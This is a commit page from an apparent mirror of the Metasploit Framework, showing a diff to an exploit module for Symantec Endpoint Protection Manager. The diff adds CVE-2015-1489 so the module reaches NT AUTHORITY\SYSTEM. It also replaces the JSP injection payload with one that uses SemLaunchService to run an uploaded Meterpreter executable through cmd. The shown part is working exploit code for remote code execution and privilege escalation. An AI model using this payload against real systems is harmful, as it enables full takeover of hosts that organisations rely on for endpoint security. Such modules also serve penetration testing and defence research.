infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

exploit cve 2015-1489 to get SYSTEM

bug/bundler_fix
Brandon Perry 2015-08-02 08:31:03 -05:00
parent 12ac6d81fa
commit a33dff637d
1 changed files with 7 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
modules/exploits/windows/http/sepm_auth_bypass_rce.rb
View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info, super(update_info(info,
'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE",
'Description' => %q{ 'Description' => %q{
This module exploits two separate vulnerabilities in Symantec Endpoint Protection Manager This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager
in order to achieve a remote shell on the box. in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
[ [
['CVE', '2015-1486'], ['CVE', '2015-1486'],
['CVE', '2015-1487'], ['CVE', '2015-1487'],
['CVE', '2015-1489'],
['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html']
], ],
'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, 'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
@ -41,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
} }
} ], } ],
], ],
'Privileged' => false, 'Privileged' => true,
'DisclosureDate' => 'Jul 31 2015', 'DisclosureDate' => 'Jul 31 2015',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
@ -73,7 +74,9 @@ class Metasploit3 < Msf::Exploit::Remote
cookie = res.get_cookies cookie = res.get_cookies
exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
}
send_request_cgi({ send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),